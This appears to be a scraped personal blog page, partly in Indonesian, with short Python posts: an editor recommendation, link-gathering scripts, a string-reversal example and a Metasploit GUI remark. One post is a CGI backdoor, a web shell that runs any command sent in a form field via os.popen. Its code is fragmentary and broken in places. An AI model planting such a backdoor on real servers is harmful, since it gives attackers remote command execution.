Pindah..!! :D

Mulai dari sekarang blog ini pindah rumah ke:

thanx buat yang biasa mengunjungi blog ini.



Geany: a Kate-like Editor in Gnome

After looking for a kate-like editor for gnome, i found geany… :D, it’s a kate -like editor.. and this is what i need, an editor with integrated shell and file browser, if you don’t know about geany and search for kate-like editor in your gnome, i sugest you to try geany.

list of text editors

CGI Backdoor for Linux with Python

#!/usr/bin/env python
# Info  : Linux based CGI backdoor with python
# author: otoy
# date  : 0x102010

import cgi,os,re,sys

form = cgi.FieldStorage()
cmd = form.getvalue('cmd', '')
osexe = os.popen(cmd)

dirt = os.getcwd()+'/'
prognm = sys.argv[0].strip()
progfl = re.findall(dirt+'(.*)',prognm)[0]

osinf = os.uname()
       CGI python backdoor
Author : otoy
Date   : 0x102010
Blog   : <a href="" target="_blak"></a>
System : %s %s
''' %(osinf[0], osinf[2])

print "Content-type: text/html"

    <title>CGI python backdoor</title>
    <form action='%s'>
       Command <input type='text' name='cmd' />
    <input type='submit' />
""" %(info,progfl,

in action :

PS: if you wanna try this code in your closed environment, you can read this link or this one, it will show you how to run CGI module on your apache server.

web links gatherer (ver 2)

By using Beautiful Soup, we can change the code as seen at the previous post to the code below…  and it even works much better… just by changing the regex function, it return a better result :

# otoy --
# 0x102010

from urllib import urlopen
from BeautifulSoup import BeautifulSoup

text = urlopen('').read()
soup = BeautifulSoup(text)

pages = set()
for header in soup('a'):

print '\n'.join(sorted(pages))

web links gatherer dengan python

program sederhana ini digunakan untuk mengumpulkan link-link yang ada pada sebuah halaman web, bisa juga di kembangkan menjadi sebuah crawler.. 😀

#info: program untuk mendapatkan info link-link
#      yang terdapat dalam sebuah halaman web
# otoy(
# 0x102010

from urllib import urlopen
import re,sys

peng = '''Penggunaan: python %s http://<alamat web> (jangan lupa http:// atau https://)
Contoh    : python %s''' %(sys.argv[0],sys.argv[0])

def main():
 if len(sys.argv) <=1:
 print peng

 pat = re.compile('href="([http:|https:].*?)"')

 urlscn = urlopen(sys.argv[1]).read()
 except IOError:
 print peng
 print "[+]Gathering links from the web"

 for url in pat.findall(urlscn):

fl = open("haslscan.txt","w")

for url in sorted(urls):
 hsl = '%s' % url,"\n"

 print "[+]Gathering links done"

if __name__ == "__main__" :

in action:

the result:

Bermain string dengan python


import sys

pgun='''penggunaan: %s <kalimat>
contoh: python %s saya pusing'''%(sys.argv[0],sys.argv[0])

def main():
args = sys.argv[1:]
if len(sys.argv) <= 1:
print pgun

 #reverse kata (dalam bentuk list)

 #tampilkan kata yang sudah di reverse (dalam bentuk list)
 print "Hasil Reverse kalimat:\n======================="
 print args,"\n"

 #join isi list dan tampilkan
 print "Hasil Join kalimat:\n======================="
 teks = ' '.join(args)
 print teks,"\n"

 #reverse perhuruf dan tampilkan
 print "Hasil Reverse perhuruf:\n======================="
 print ''.join(reversed(teks))

if __name__ == '__main__':

in action:

msfgui new look

i’m not usually use msfgui when i’m dealing with metasploit, but… it caught my attention when i’m updating my metasploit, it took a looooong time to download the msfgui, so…. i check it out, i’m quite surprise with the new look, it’s a java based gui.

here some screenshots that i took :

in action: